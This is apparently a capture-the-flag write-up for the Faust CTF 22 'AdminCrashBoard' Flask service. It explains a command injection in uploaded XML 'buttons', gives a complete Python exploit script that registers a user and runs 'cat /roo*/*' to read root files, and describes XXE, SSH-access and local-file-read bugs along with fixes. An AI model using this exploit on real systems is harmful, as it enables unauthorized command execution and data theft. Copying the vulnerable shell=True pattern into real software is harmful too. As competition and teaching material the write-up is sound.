Faust CTF 22 - AdminCrashBoard
29 Jul. 2022
3 minute read

RCE-As-A-Service (RAAS)

This challenge was a webapp with ports 5000 and 22 open. On port 5000 runs a webapp called admincrashboard written in flask. User management is done with PAM, so registering a user creates a linux user on the system. SSH is running on port 22.

The webapp allows registered and logged-in users to upload so-called buttons that can be executed on the server.

Example button:

<?xml version="1.0" encoding="UTF-8"?>
<command>
    <name>Welcome</name>
    <script>whoami | awk '{print "Hello " $1 ","} {print "Welcome to AdminCrashBoard"}'</script>
</command>

The buttons are written in XML and parsed on the server to get the script and name strings.

Command Injection

The /execute route, seen below, allows users to run any buttons they uploaded.

@app.route("/execute")
def execute():

    if not logged_in():
        return redirect(url_for('login'))

    file = request.args.get("button")
    _,cmd = parse(file)
    return run(cmd)

The script string is parsed from the uploaded XML file and is then executed in the run function. Any user can simply upload a button, or edit the default button, to gain RCE on the server.

def run(cmd):
    secure_cmd = f"sudo -u {session.get('username')} {cmd}"
    print(secure_cmd)
    return subprocess.check_output(secure_cmd, shell=True)

The flags were in /root/<randomname>.

Exploit

#!/usr/bin/env python3

import sys
import requests
import string
import random
import urllib.parse

if not len(sys.argv):
    exit(1)

else:
    IP = sys.argv[1]

def random_string(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))


def register(s, name, pw):
    data = {
        'username': name,
        'password': pw,
    }
    response = s.post(f'http://[{IP}]:5000/register', 
        data=data,
        verify=False,
        allow_redirects=False
    )
    assert(response.status_code == 302)


def login(s, name, pw):
    data = {
        'username': name,
        'password': pw,
    }
    response = s.post(f'http://[{IP}]:5000/login', 
        data=data,
        verify=False
    )
    return response.text


def edit (s, payload, username):
    data = {'content': payload}

    response = s.post(f'http://[{IP}]:5000/edit?button=/home/{username}/welcome.button', 
        data=data, 
        verify=False, 
        allow_redirects=False
    )
    return response.text


def execute(s, username):
    params = {
        'button': f'/home/{username}/welcome.button',
    }
    response = s.get(f'http://[{IP}]:5000/execute', params=params, verify=False)

    return response.text



def run():
    payload = '''<?xml version="1.0" encoding="UTF-8"?>
<command>
    <name>Welcome</name>
    <script>cat /roo*/*</script>
</command>'''

    s = requests.Session()
    # gen password and username
    username = random_string(10)
    pw = random_string(10)
    register(s, username, pw)
    login(s, username, pw)
    
    # edit the default button and run the payload
    edit(s, payload, username)
    res = execute(s, username)
    print(res)
    
run()

Other Bugs

We also found and fixed other bugs:

  1. As ssh is open, any registered user can just ssh into the service and read the flags. We changed the default shell in adduser.conf to /bin/false.

  2. The etree.parse() function that parses the XML button files is also vulnerable to XXE.

def parse(file):
    tree = etree.parse(file)
    root = tree.getroot()
    name = root.findtext("name")
    script = root.findtext("script")
    return (name, script)

We fixed this by disabling resolve_entities and network access as shown here: https://rules.sonarsource.com/python/RSPEC-2755

  1. Local File Read in /edit. We fixed this by filtering the button GET parameter to only allow intended behaviour (allowlist).
file = request.args.get("button")
with open(file) as f:
    content = f.read()

return render_template("edit.html", file=file, content=content)